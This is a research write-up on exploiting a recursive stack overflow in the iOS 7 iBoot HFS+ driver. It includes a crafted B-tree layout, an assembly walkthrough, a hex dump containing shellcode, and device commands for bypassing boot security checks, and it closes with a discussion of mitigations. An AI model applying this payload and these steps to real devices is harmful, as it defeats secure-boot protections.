|=------------------------=[ De Rebus Antiquis ]=------------------------=| |=-----------------------------------------------------------------------=| |=------------------------------=[ xerub ]=------------------------------=| |=-----------------------------------------------------------------------=| -- Table of contents 0 - Introduction 1 - Research 1.0 - Who's who? 1.1 - ASL pls 1.2 - Calling my own name 1.3 - Seeing the unseen 2 - Exploitation 2.0 - Dodging the bullets 2.1 - Burning the bridges 2.2 - Going for the kill 2.3 - Cleaning the mess 2.4 - Leap of faith 3 - Conclusions 4 - References 5 - Source code -- 0 - Introduction This article aims to explain how to exploit the recursive stack overflow bug in the iOS 7 bootchain. No prior exploitation knowledge is required, only basic knowledge of how little-endian stack-grows-downwards machines work and some ARM assembly basics. There is no need for special hardware (cables or debugging rigs) to achieve deterministic control over the iBoot. We will use iPhone5,2/11B554a throughout this writeup as an example. There were two seemingly unrelated things that led to the finding of this vulnerability: - One was that I vaguely remembered that during the mid 2010s Toyota came under criticism for buggy firmware leading to the Unintended Acceleration scandal. Some of these bugs were theorised to stem from stack overflows corrupting global variables [1]. - The other thing was Joshua Hill's "SHAttered Dreams" presentation, which, around page 85 had this "BootROM exploitation methods" slide mentioning "Recursive Stack Overflows" [2]. -- 1 - Research -- 1.0 - Who's who? A short recap about the iPhone bootchain: NAND/Normal +------+ +-------+ ------------> | LLB | --> | iBoot | --> OS +-----------+ / +------+ +-------+ | SecureROM |< +-----------+ \ +------+ +-------+ ------------> | iBSS | --> | iBEC | --> Restore USB/DFU +------+ +-------+ The SecureROM is a small piece of mask ROM or write-protected flash. It is the first thing that runs on the device after a reset. The LLB is the Low Level Bootloader, responsible for the hardware bringup and loading the main bootloader. The iBoot is the main Bootloader, effectively a kitchen-sink of all things a bootloader should do: USB, recovery mode, etc. It also handles FS access because it needs to read the kernel off the System partition and boot the OS. The iBSS is the DFU counterpart of LLB. The iBEC is the DFU counterpart of iBoot. It handles FS access, because it needs to read a special "restore" partition during upgrades. Actually, the boot logic is a bit more complicated than that, for example iBoot can fall back to Recovery Mode which will accept an iBEC, but we will not concern ourselves with that, being outside the scope of this article. Because of their nature and purpose, each bootloader stage brings increased complexity. For example: LLB/iBSS have no need to understand filesystems, but as explained above, iBoot/iBEC must do so. Statistically, the more complex a component is, the higher the chances it has bugs, so we will go for the low hanging fruit :) -- 1.1 - ASL pls First, we need to study our target, which sounds complicated, but it really isn't. iBoot was not meant to be relocatable, it was designed to be run at its preferred load address; that is, memory_base + memory_size - 1MB, which translates to: 0x5FF0'0000 or 0x9FF0'0000 or 0xBFF0'0000. This means no IASLR (no iBoot Address space layout randomisation) which is *good* :^) We proceed by dumping iBoot as soon as possible after iOS has fully booted on a jailbroken phone. With a bit of luck we'll find iBoot still sitting in its own corner, pretty much intact. For dumping purposes, we will use winocm's ios-kexec-utils [3] henceforth named kloader and its little brotha kdumper. Please note that a dumped image is slightly different than a decrypted one. Fortunately, DATA remains fairly unchanged while running, with the notable exception of lists. We proceed by curating those list heads and doing some more cleanup based on older iBoots such as iPhone 4 iBoot for which we have decryption keys [4]. +------------------+ | ARM reset vector | | | | CODE | | | +------------------+ | | | DATA | | | | +--------------+ | | | btree data | | | +--------------+ | | +--------------+ | | | allocator | | | | meta-data | | | +--------------+ | | | +------------------+ | | | HEAP | | +--------------+ | | |task structure| | | |--------------| | | | task stack | | | +--------------+ | | stuff | | +--------------+ | | |task structure| | | |--------------| | | | task stack | | | +--------------+ | | stuff | | | +------------------+ We can observe in the above diagram that the task stacks are placed right after DATA, and we can infer that smashing one of those stacks will lead to DATA corruption. Initially, there is only one task running: the bootstrap task. Some other tasks are then created, like "idle" and "main", which in turn create more tasks: poweroff, USB, etc and runs them. Each task has a fixed stack size: 0x1C00 bytes. There is also a simple scheduler managing those tasks, which also performs some lightweight integrity checks, like verifying the ARM reset vector base and the yielding task's stack base. The task scheduler is cooperative, so we can safely assume that once a task is running, it will continue to do so until something extraordinary happens, such as an IRQ. In short, the stack check does not affect us as long as a task_yield() does not happen while we are burning the stack. After dumping iBoot several times we can see not only the base address, but also that its entire memory layout is very predictable, which is certainly good from the exploitation point of view. We can locate the code, data and even various structures within the heap. Of course, we need to keep an eye on those stacks, because that's what our target is, right? -- 1.2 - Calling my own name Keep in mind that recursive stack overflow does not necessarily mean direct recursion, a la function F() calling itself. Those are trivial to find but not always useful. For example ResolvePathToCatalogEntry() is bounded by a maximum depth limit of 64 and therefore is useless for this purpose. Let's look for F() -> G() -> ... -> F() chains as those would still count as recursion. Although it's a bit difficult to spot those in large files, there are graph algorithms that can help: we have a call graph and we need to identify "loops" in this call graph. One such algorithm that is fairly simple and useful is Tarjan's strongly connected components algorithm [5]. In reality, a SCC may contain multiple loops, but it doesn't matter; for practical purposes, let's just assume SCCs are good enough to start with. Once iBoot is disassembled and all the functions are correctly identified, we can run the script [6] and print out our call graph "loops". We are looking for pretty small SCCs, like F()->G()->F() because those are easier to follow. Here's a good candidate: ReadExtent() memalign(64) ReadExtentsEntry()/ReadBTreeEntry() memalign(blockSize) ReadExtent() The memalign() calls above do not contribute to the recursion per se, but they will become important later on -- memalign being just a fancy malloc. Also, keep in mind that not much *else* is happening, which is good. A quick primer into HFS+ will make us understand better what is happening. The information about all the files and folders inside a HFS+ [7] volume is kept in the Catalog File. The Catalog File is a B-tree [8] that contains records, each record tracking a maximum of 8 extents [9] for each fork of a file. This is called the extent density. Once all 8 extents are used up, additional extents are recorded in the Extents Overflow File. The Extents Overflow File is another B-tree that records the allocation blocks that are allocated to each file as extents. The HFS+ implementation found in iBoot uses the same ReadExtent() function for reading both Catalog and Extents Overflow extents. We observe that if the extent density is exceeded while reading an Extents Overflow extent, ReadExtent() will recurse infinitely. NB: As it happens, an outdated version of the iBoot HFS+ driver was public at the time [10]. The source code is not essential for exploitation, but it may be helpful in understanding some bits. The GOOD: We found a recursive stack overflow in "main" task whose location and stack are very predictable. The BAD: It will burn through HEAP and hit DATA pretty quickly, and there's no way to stop it once it's triggered. The WORSE: The iBoot HEAP (and parts of DATA) will be completely fubared. -- 1.3 - Seeing the unseen Back at the time, I only had one device vulnerable to this bug and I was wary of losing it. Trying to just poke at iBoot blindly would be stupid, so I set up writing an "iBoot loader" henceforth named iloader (source code attached to this article). Its purpose was to fake-run iBoot in userland, taking advantage of the very predictable nature of iBoot's run-time memory layout. Since we are fake-running in userland, we have to skip the hardware stuff. Now recall that task stacks are allocated on the heap and skipping whole chunks of code may skip some allocs. In order to compensate for that, we need to make sure our iloader keeps the main task stack at the right offset with regard to iBoot's base. We kloader a modified iBoot and have it print out the stack pointer inside "main" task's top routine: SP = BASE + 0x581d4 Aligning our stack then requires iloader calling into the iBoot allocator once with the right size just before the main task is created. Real iBoot heap: iloader iBoot heap: | | | | +--------------------+ +--------------------+ | heap block used by | | | | things we skipped | | | +--------------------+ | | +--------------------+ | | | heap block used by | | dummy allocation | | things we skipped | | required to align | +--------------------+ | the stack pointer | +--------------------+ | | | heap block used by | | | | things we skipped | | | +--------------------+ +--------------------+ +--------------------+ +--------------------+ | main task structure| | main task structure| +--------------------+ +--------------------+ | main task stack | | main task stack | +--------------------+ +--------------------+ | | | | -- 2 - Exploitation -- 2.0 - Dodging the bullets Before looking for ways to trigger the exploit, there are two things to consider: 1. What we must avoid smashing? 2. What we should target? To answer #1, yes there is something standing in our path. Remember those malloc calls? mallocs use enter_critical_section()/exit_critical_section() to guard against race conditions. Those two little functions operate on task::irq_disable_count and they panic if larger than 999. Triggering recursion will obliterate anything in its path, including our own "main" task structure, task::irq_disable_count included. So we need to make sure main_task->irq_disable_count location is overwritten with values smaller than 1000. To answer #2, yes there is something that could achieve an arbitrary write. Remember those malloc calls again? Yeah, it follows that we should target the allocator metadata. We have to put some values there and coerce the allocator into an arbitrary write. | | +------------------+ | | | DATA | | | | +--------------+ | | |btree headers | | <-+ steer the allocator here | +--------------+ | | | +--------------+ | | | | allocator | | --+ | | meta-data | | <-+ land here | +--------------+ | | | | | +------------------+ | | | | | HEAP | | | +--------------+ | | | |task structure| | | <-- this gets nuked, avoid irq_disable_count | |--------------| | | | | task stack | | | <-- this is where we start | +--------------+ | | stuff | In order to dance around these constraints, we need to make sure we start recursion at a very precise point. The exact location where we cross the allocator metadata is a matter of how much stack space is eaten by each recursion (208 bytes in our example below) and the starting SP. We need to be close enough to manipulate the allocator, but not too close, otherwise it will panic. We will see later that the block "bin" array is the sweet spot to land on. SP tuning can be achieved by two methods: - try both ${boot-path} / ${boot-ramdisk} and choose whichever is best as both can be set from within iOS and are preserved across reboots. - ResolvePathToCatalogEntry() drills down the directory hierarchy and provides different starting SPs for ReadExtent, but remember it has a 64 depth limit. -- 2.1 - Burning the bridges iBoot accesses the filesystem in a simple manner. It caches the two BTree headers when "mounting" the partition, then uses ReadExtent() for both file read, as well as directory scan. Recursion can be started in two ways: - Set the root node to a high value, or - employ a long path and, after partially drilling down this path, have a high node number fetched from the BTree record of the index node. Start with a simple HFS+ file system, which has a rather flat BTree: trigger | v +------+ +------------+ |HEADER|------>| root block | +------+ +------------+ | ... | +--------------+ | v v +-----+ +-----+ | | ... | | +-----+ +-----+ The above BTree layout allows us to trigger the recursion only by the root node. Leaf nodes cannot be used to trigger a delayed recursion, because BTNodeDescriptor::kind is checked in ReadBTreeEntry() thus preventing us to have an arbitrary index node with a high-numbered current node. Setup example would look like this: HFSPlusVolumeHeader::catalogFile.logicalSize = 0xFFFFFE00; HFSPlusVolumeHeader::extentsFile.logicalSize = 0x3FFC000; Catalog BTree header: BTHeaderRec::nodeSize = 512; BTHeaderRec::totalNodes = 0x7FFFFF; BTHeaderRec::rootNode = 0x7FFE; // initial trigger Extents BTree header: BTHeaderRec::nodeSize = 16384; BTHeaderRec::totalNodes = 0xFFF; BTHeaderRec::rootNode = 0x500; // must be big, but LSB must be zero NB: Most of the BTree header space is not used, nor is it checked by iBoot, so we can use that space to stash our payload in there. The above strategy, while simple, proves to be quite inflexible, because we cannot tune the starting SP too much. As mentioned before, we want to use ResolvePathToCatalogEntry() to fix the SP for us, and that means triggering the recursion at an arbitrary point during path processing. We are forced to resort to a slightly different layout: duplicate the root block, update the HFS+ header to start at the new root and have all the records inside the clone point to the original root block. This will result in a taller tree but the middle layer does not have the leaf constraint yet it is still valid HFS+ (albeit slightly wasteful). +------------+ +--->| root copy |<-- trigger here | +------------+ | | ... | | v v +------+ | +------------+ |HEADER|--+ | root block | +------+ +------------+ | ... | +--------------+ | v v +-----+ +-----+ | | ... | | +-----+ +-----+ In contrast to the earlier setup, we keep the Catalog BTHeaderRec::rootNode unchanged, but we will have to set a high block number in the corresponding BTree record: PUT_DWORD_BE(block, 116, 0x10000); // see iloader source for reference By some trial and error with iloader, we find out the best path we should be using is ${boot-ramdisk}="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg" -- 2.2 - Going for the kill Once the recursion brings the stack pointer near the allocator metadata, our goal is to have memalign() do a write-anywhere for us. memalign() has two main loops, shown here simplified: for_each(bin) { block = *bin; while (block) { if (fits) { free_list_remove(this); return this; } block = block->next; } } panic(); This is the assembly listing, for reference. ROM:BFF1A2D0 LDR.W R8, =0xBFF47C60 ROM:BFF1A2D4 NEGS R5, R4 ROM:BFF1A2D6 ADD.W R6, R4, #0x3F ROM:BFF1A2DA bin_loop: ROM:BFF1A2DA ADD.W R0, R8, R3,LSL#2 ; pick initial bin ROM:BFF1A2DE ADD.W R2, R0, #0x28 ROM:BFF1A2E2 ROM:BFF1A2E2 block_loop: ROM:BFF1A2E2 LDR R0, [R2] ROM:BFF1A2E4 CBZ R0, bin_next ; skip zeroes ROM:BFF1A2E6 LDR R1, [R0,#4] ROM:BFF1A2E8 ADDS R2, R6, R0 ROM:BFF1A2EA ANDS R2, R5 ROM:BFF1A2EC SUB.W R4, R2, #0x40 ROM:BFF1A2F0 ADD.W R2, R0, #0x40 ROM:BFF1A2F4 ADD.W R1, R0, R1,LSL#6 ROM:BFF1A2F8 SUBS R1, R1, R4 ROM:BFF1A2FA BLS block_loop ROM:BFF1A2FC CMP R1, R9 ROM:BFF1A2FE BCC block_loop ROM:BFF1A300 B free_list_remove ; R0 is controlled ROM:BFF1A302 ; ------------------------------------------------------------ ROM:BFF1A302 bin_next: ROM:BFF1A302 ADDS R3, #1 ROM:BFF1A304 CMP R3, #0x20 ROM:BFF1A306 BCC bin_loop ROM:BFF1A308 heap_fail: ROM:BFF1A308 LDR R0, ="grab_chunk__constrained" ROM:BFF1A30A LDR R1, ="heap overflow" ROM:BFF1A30C BL _panic ROM:BFF1A310 ; ------------------------------------------------------------ ROM:BFF1A310 free_list_remove: ; R0 is controlled ROM:BFF1A310 LDRD.W R10, R11, [R0,#0x40]; must be aligned ROM:BFF1A314 STR.W R10, [R11] ; arbitrary write ROM:BFF1A318 LDR R1, [R0,#0x40] ROM:BFF1A31A CMP R1, #0 ROM:BFF1A31C ITT NE ROM:BFF1A31E LDRNE R3, [R0,#0x44] ROM:BFF1A320 STRNE R3, [R1,#0x44] ; trash [R10+0x44] ROM:BFF1A322 CMP R4, R0 ROM:BFF1A324 BNE loc_BFF1A32A ; avoid this ROM:BFF1A326 MOV R4, R0 ROM:BFF1A328 B return_block ; clean exit free_list_remove() provides the read/writes. In order to get the write right, we need to have it do the reading from *our* payload -- which is conveniently placed inside HFS+ BTree headers. There is a pointer to BTree headers pushed by each recursion's stack frame, albeit slightly misaligned. Ideally, we want *that* pointer be picked up as a starting bin but we can't synchronize it no matter how much SP tweaking we do. Notice the loops skip all the zeroes before doing any work, giving us some leverage though still not enough. However, the starting bin depends on the allocation size. It follows we must land here during memalign(blockSize), not memalign(64). Turns out this is the last bit of manoeuvring room: tuning blockSize within its imposed limits of 512 and 65536. Avoid pumping the block size too high up, though: bigger block sizes will exhaust the heap during recursion so there is a practical limit to it. After our pointer is picked, we can pretty much "drive" the allocator logic and make sure we won't panic while using the allocator "writes" to achieve a write on stack, targeting memalign's frame, and specifically the saved link register (LR) value, in order to get PC control. A final issue is that free_list_remove() happens to use a LDRD instruction for reading, meaning the source has to be aligned at DWORD boundary. But our pointer happens to be at DWORD+2 boundary. To avoid causing a fault, we have the block loop pass as no-fit during first iteration, switch to an aligned address, then fit at second iteration. Now we finally get a write anywhere and we target the LR's location on memalign's stack frame. We now want memalign to return quickly and with as little side-effects as possible. By carefully arranging some values in current bin's fake block, which has by now moved inside the BTree header, we can skip everything else in memalign's logic, causing a proper and quick return. This return will jump to the location of our choice. Since the whole mapping is executable, we simply return somewhere in the BTree header, where our shellcode is. Here is the output of iloader running iPhone5,2/11B554a iBoot: -8<-------------[ cut here ]------------------ relocating to 0x700000 battery voltage 0 mV power supply type batt ======================================= :: :: iBoot for n42ap, Copyright 2013, Apple Inc. :: :: BUILD_TAG: 756400 :: :: BUILD_STYLE: 7581d4 :: :: USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:00 ECID:0000000000000000 IBFL:03 :: ======================================= Delaying boot for 0 seconds. Hit enter to break into the command prompt... HFSInitPartition: 0x758600 my_readp(0x758600, 0x747730, 0x400, 512) my_readp(0x758600, 0x747a54, 0x8800, 256) my_readp(0x758600, 0x747b54, 0x800, 256) breakpoint1: a my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x8a00, 512) my_readp(0x758600, 0x758d80, 0x8a00, 512) breakpoint1: b my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x8c00, 512) my_readp(0x758600, 0x758d80, 0x8c00, 512) breakpoint1: c my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x8c00, 512) my_readp(0x758600, 0x758d80, 0x8c00, 512) breakpoint1: d my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9000, 512) my_readp(0x758600, 0x758d80, 0x9000, 512) breakpoint1: e my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9000, 512) my_readp(0x758600, 0x758d80, 0x9000, 512) breakpoint1: f my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9200, 512) my_readp(0x758600, 0x758d80, 0x9200, 512) breakpoint1: g my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9200, 512) my_readp(0x758600, 0x758d80, 0x9200, 512) breakpoint1: h my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9400, 512) my_readp(0x758600, 0x758d80, 0x9400, 512) breakpoint1: i my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9400, 512) my_readp(0x758600, 0x758d80, 0x9400, 512) breakpoint1: j my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9600, 512) my_readp(0x758600, 0x758d80, 0x9600, 512) breakpoint1: k my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9600, 512) my_readp(0x758600, 0x758d80, 0x9600, 512) breakpoint1: l my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9800, 512) my_readp(0x758600, 0x758d80, 0x9800, 512) breakpoint1: m my_readp(0x758600, 0x758d80, 0x8e00, 512) my_readp(0x758600, 0x758d80, 0x9a00, 512) _memalign: sp = 0x747ca8, r8 = 0x747c60, r3 = 0x9, r2 => 0x747cac (0xfffffffc) _memalign: sp = 0x747ca8, r0 = 0x747b62, r1 = 0x5 (0x747ca2/0xbff47ca2), r2 = 0x747ba8, r3 = 0xc, r4 => (0x747b68/0xbff47b68), r9 = 0x4040 (0x13a) _memalign: sp = 0x747ca8, r0 = 0x747b68, r1 = 0x101 (0x74bba8/0xbff4bba8), r2 = 0x747ba8, r3 = 0xc, r4 => (0x747b68/0xbff47b68), r9 = 0x4040 (0x4040) _memalign: sp = 0x747ca8, r8 = 0x747c60 suck sid battery voltage 0 mV power supply type batt ======================================= :: :: iBoot for n42ap, Copyright 2013, Apple Inc. :: :: BUILD_TAG: 756400 :: :: BUILD_STYLE: 7581d4 :: :: USB_SERIAL_NUMBER: CPID:8950 CPRV:21 CPFM:00 SCEP:10 BDID:00 ECID:0000000000000000 IBFL:03 :: ======================================= r0 = 0x0074817c r1 = 0x3f106000 r2 = 0x007490c0 r3 = 0x00000000 r4 = 0x00758138 r5 = 0x00000000 r6 = 0x007446c0 r7 = 0x00758130 r8 = 0x00000001 r9 = 0x0074436c r10 = 0x0074437c r11 = 0x00000000 r12 = 0x00000000 sp = 0x0075812c lr = 0x0072859b pc = 0x0071f9e2 cpsr = 0x60000030 handler(11, {11, 0x3f106000}, 0x757fb8) -8<-------------[ cut here ]------------------ From the ASM listing corroborated with with iloader's output, we know what happens when PC reached address 0xBFF1A2F8. First iteration: R0 = 0xbff47b62 R1 = 0xbff47ca2 = 0xbff47b62 + (5 << 6) R4 = 0xbff47b68 = 0xbff47ba8 - 0x40 R9 = 0x4040 R1 = R4 + 0x13a (no fit) Second iteration: R0 = 0xbff47b68 R1 = 0xbff4bba2 = 0xbff4bb68 + (0x101 << 6) R4 = 0xbff47b68 = 0xbff47ba8 - 0x40 R9 = 0x4040 R1 = R4 + 0x4040 (exact fit, also R4 == R0) And this is the memory layout after crossing the allocator's event horizon. Big-endian multi-byte quantities are shown between [] and little-endian are shown between {}. +- start of BTree headers (controlled) v 00047A50: 62 7B 74 00 (45 45 45 45 45 45 45 45 45 45 45 45 +- BTHeaderRec::treeDepth | +- BTHeaderRec::rootNode v v 00047A60: 45 45[00 03][00 00 00 03] 45 45 45 45 45 45 45 45 +- BTHeaderRec::nodeSize | +- BTHeaderRec::totalNodes v v 00047A70: 45 45 45 45 [02 00]45 45 [00 7F FF FF] FF E4 30 9F 00047A80: E5 00 20 E0 E3 DF AC 22 83 E5 CC F7 F0 80 23 F7 00047A90: 83 E5 84 FF F0 74 25 83 E5 77 60 26 83 F1 F0 A0 00047AA0: E3 C8 F7 F0 55 D0 F7 F0 D4 F7 F0 E0 F7 F0 E4 F7 00047AB0: F0 55 EC F7 F0 F4 F7 F0 FC F7 F0 00 FF F0 55 04 00047AC0: FF F0 08 FF F0 0C FF F0 10 FF F0 B5 14 FF F0 18 00047AD0: FF F0 88 20 F0 F0 00 FF A0 E3 04 00 A2 E5 80 10 00047AE0: FF 9F E5 01 00 52 E1 FA FF F7 FF 1A 01 0F 00 0C 00047AF0: 22 C3 E5 55 30 FF F0 02 0F 00 D4 FF F0 64 4F 00 00047B00: F5 34 FF F0 38 7F 01 20 82 E2 6C 52 FF F0 70 37 00047B10: 01 87 00 74 FF F0 78 FF F0 F5 4C 87 00 A0 3F 01 00047B20: 20 42 E2 B0 AA FF F0 B4 8F 04 B8 FF F0 BC FF F0 00047B30: 8F FF 2F 82 E2 B0 01 C3 E5 C0 AA C3 00 D4 C3 00 00047B40: F4 07 00 F8 07 00 1E FF FF 2F E1 00 40 74 00 D8 00047B50: FF 43 74 00 30 45 74 00 34 00 DF 00 46 46 46 46 ^ end of Catalog BTree -+- start of Extents BTree header +-------------------------------------------------------+ | +- BTHeaderRec::rootNode as big value, but gives | | | 32bit 0x0 when combined with previous 2 bytes | | | and 32bit 0x5 when combined with next 2 bytes | | | +-------------------------------+ | | | | (nodeSize+64)>>6 | | v v v v | | 00047B60: 46 46{00 00 [00 00-05 00] 00 00}46 46 {01 01 00 00} | | +- BTHeaderRec::nodeSize | | | +- BTHeaderRec::totalNodes | | v v | | 00047B70: 46 46 46 46 [40 00]46 46 [00 00 0F FF] 46 46 46 46 | | 00047B80: 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | | 00047B90: 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | | +- R0 at block match -------+ | | | LR on stack (0x47cc4) | | | v v | | | 00047BA0: 46 46{68 7B 74 00}46 46 {B1 7B 74 00}{C4 7C 74 00} | | | ^ | | | +- contains aligned pointer (0x47b68) ----------|---+ | +- shellcode -----------------------------------------+ | v | | 00047BB0: DF F8 50 D0 ED F7 3A F8 13 4C 14 48 21 46 14 4A | | 00047BC0: EC F7 0A EB 4F F4 10 51 A4 F8 54 1E 11 48 4F F0 | | 00047BD0: 00 41 21 50 10 48 11 49 21 50 D9 F7 43 FA 00 21 | | 00047BE0: 41 64 0F 48 FC 21 0F 4A E0 23 05 46 DD F7 F8 FD | | 00047BF0: 0D 48 02 E0 <46 C4 7C 74 00>46 80 47 DA F7 F6 FD | | ^ ^ | | +- forbidden -+--------------------------+ | 00047C00: A8 47 20 47 00 80 7F 00 00 00 70 00 00 00 70 00 | 00047C10: C0 46 04 00 88 1E 04 00 14 AD 01 00 00 20 18 60 | 00047C20: 00 80 74 00 7C 7A 74 00 B5 73 0F 00 46 46 46 46 | 00047C30: 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | 00047C40: 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 | 00047C50: 46 46 46 46) 00 64 75 00 00 00 00 00 00 00 00 00 | ^ | +- end of BTree headers (controlled) | 00047C60: 80 F5 B9 12 02 00 00 00 40 35 75 00 C0 3A 0A 00 | 00047C70: 00 00 00 01 00 00 00 13 00 00 00 00 00 00 00 00 | first bin -+ | v | 00047C80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00047C90: 00 00 00 00 00 00 00 00 00 00 00 00 68 7B 74 00 | stack -+ +- bin for size=16k | v v | 00047CA0: C0 7C 74 00 F9 A3 71 00 68 7D 74 00 {00 00 00 00} | 00047CB0: 00 00 00 00 00 00 00 00 {62 7B 74 00} 00 05 00 00 | ^ | first non-zero "bin" -+- points into BTree header (0x47b62) LR address on stack -+ v 00047CC0: 28 7D 74 00 {B1 7B 74 00} 00 00 00 00 00 00 00 00 00047CD0: 00 00 00 00 00 00 00 00 80 1C 46 01 00 00 00 00 00047CE0: 00 00 00 00 03 00 00 00 00 78 74 00 00 C0 FF 03 00047CF0: 00 00 00 00 01 00 00 00 00 40 00 00 00 00 00 00 00047D00: 10 7D 74 00 40 1C 46 01 28 7D 74 00 0B A4 71 00 00047D10: 80 1C 46 01 40 00 00 00 00 00 00 00 00 00 00 00 00047D20: 08 00 00 00 40 78 74 00 90 7D 74 00 81 92 71 00 00047D30: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 40 01 00047D40: 00 78 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00047D50: 00 DC 45 01 00 00 40 01 00 00 00 00 03 00 00 00 00047D60: 01 00 00 00 00 A0 00 00 00 00 00 00 03 00 00 00 00047D70: 40 00 00 00 44 52 41 47 38 7E 74 00 00 00 00 00 ^ +- some stack cookie lol -- 2.3 - Cleaning the mess Now that we control PC, the last question is how to fix everything up. The iBoot heap is completely and utterly obliterated, entire tasks overwritten with garbage. However, DATA survived mostly unscathed, except the higher end, where the allocator structures reside. Either way, the best course of action would be to patch relevant security checks in-memory, curate DATA structures -- just like we did with the dump -- and fully restart iBoot as it will reinitialise BSS and HEAP. In order to clean up DATA, we stash a small piece of code into the BTree headers whose purpose is to perform the cleanup, aptly named "nettoyeur". To save space, we actually have a *compressed* nettoyeur, because iBoot provides a lzss decompression routine anyway. In summary, sequence goes like this: . trigger exploit . control PC . move back SP . disable interrupts . apply desired patches, disable auto-boot etc. . uncompress nettoyeur . quiesce the hardware . run nettoyeur . jump back to iBoot start point and let it re-run We end up sitting in the iBoot console, with all security checks disabled and the GID AES key [11] still enabled. -- 2.4 - Leap of faith Everything so far can be tried and tested inside iloader running on an ARM CPU. You will see the success message "suck sid", then iBoot restarting and then finally crashing in Recovery Mode because that's something iloader doesn't support. A final non-destructive test can be carried out before going for the real thing: . cp ramdiskF.dmg / . find ramdisk.dmg inside System partition by grepping /dev/rdisk0s1s1 for FAKEFAKEFAKEFAKE pattern and subtracting 0x13800 from the offset . take the dumped and curated iBoot image and patch ReadP() function to account for that offset . kloader this iBoot. If all OK, it should restart nicely Once every little detail has been dealt with, we move to attack the real bootchain. Remember, the device must be jailbroken, which was already a prerequisite for dumping. It also must run the *exact* version of iBoot we were targeting. In the examples below, ${boot-ramdisk} is fine-tuned for iPhone5,2/11B554a. Assuming there are no public keys for iBEC, we have only one shot: . have the jailbreak untether leave System partition read-only . reboot . ssh into the device . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg" . dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1 . dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1 . reboot . pray Once we obtain the iBEC decryption keys, there is a much safer way: . have the jailbreak untether leave System partition read-only . reboot . dd if=/dev/rdisk0s1s1 of=backup bs=512k count=1 . use kextloader to run a decrypted and pwned iBEC . once in iBEC, upload dtre/rdsk/krnl and bootx . ssh into the ramdisk . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg" . dd of=/dev/rdisk0s1s1 if=ramdiskF.dmg bs=512k count=1 . reboot When the device is rebooted, you will notice the boot logo flickers (that's when the exploit restarts iBoot) then dropping into recovery console. We can now connect to it with irecovery [12]: irecovery -s In order to get out of this mode, we need to follow these steps: . in the pwned Recovery, upload a pwned iBEC and jump to it . once in iBEC, upload dtre/rdsk/krnl and bootx . ssh into the ramdisk . dd of=/dev/rdisk0s1s1 if=backup bs=512k count=1 . nvram -d boot-ramdisk . reboot A practical application of this bug would be to boot any unsigned kernel. Consider creating a 3rd partition and trigger the exploit from there: . dd of=/dev/rdisk0s1s3 if=ramdiskG.dmg bs=512k count=1 . nvram boot-partition=2 . nvram boot-ramdisk="/a/b/c/d/e/f/g/h/i/j/k/l/m/disk.dmg" Of course, the payload would need to be modified to: . move back SP . disable interrupts . apply desired patches, load kernel from partition 0, ignore ramdisk . uncompress nettoyeur . quiesce the hardware . run nettoyeur . jump back to iBoot start point and let it re-run -- 3 - Conclusions Here ends our journey into this specific vulnerability and its exploitation method. It has been fixed in iOS 8, however, back at the time I found it interesting because of the extremely hostile environment to mount an attack for. Moreover, triggering it causes all hell break loose and sniping for a way out was definitely fun. Last, but not least, there are some lessons to be learned. Mitigations that won't help against this exploit: - Stack canaries do not help, because we are not overflowing a function stack in the traditional sense; we are overflowing the entire heap. ReadExtent will never return, and memalign's stack is not overflowed, instead a precise write is used to overwrite return address. - Task scheduler checks did not help at all. Once we trigger the bug, there is no task_yield(), so those checks will never happen. - W^X in iBoot would have made the exploit a little bit more convoluted but not of much help, as we could probably ROP the thing. Mitigations that would have helped against this exploit: - Unmapped guard pages between data and heap would have blocked this attack, because we can't skip them with small stack frames. Better yet, guard pages should have been set for each task. - Hard-cutting recursion would have helped. That is, a check to limit recursion a la ResolvePathToCatalogEntry() -- or avoid it altogether. This is how Apple patched it in iOS 8. - Heap randomisation and/or IASLR would have prevented exploitation. -- 4 - References [1] https://embeddedgurus.com/state-space/2014/02/are-we-shooting-ourselves-in-the-foot-with-stack-overflow/ [2] https://conference.hitb.org/hitbsecconf2013kul/materials/D2T1%20-%20Joshua%20'p0sixninja'%20Hill%20-%20SHAttered%20Dreams.pdf [3] https://github.com/xerub/ios-kexec-utils [4] https://www.theiphonewiki.com/wiki/InnsbruckTaos_11B554a_(iPhone3,1) [5] https://en.wikipedia.org/wiki/Tarjan's_strongly_connected_components_algorithm [6] https://github.com/xerub/idastuff/blob/master/tarjan.py [7] https://en.wikipedia.org/wiki/HFS_Plus [8] https://en.wikipedia.org/wiki/B-tree [9] https://en.wikipedia.org/wiki/Extent_(file_systems) [10] https://opensource.apple.com/tarballs/BootX/BootX-81.tar.gz [11] https://www.theiphonewiki.com/wiki/GID_Key [12] https://github.com/xerub/irecovery -- 5 - Source code begin-base64 644 iloader.tar.xz 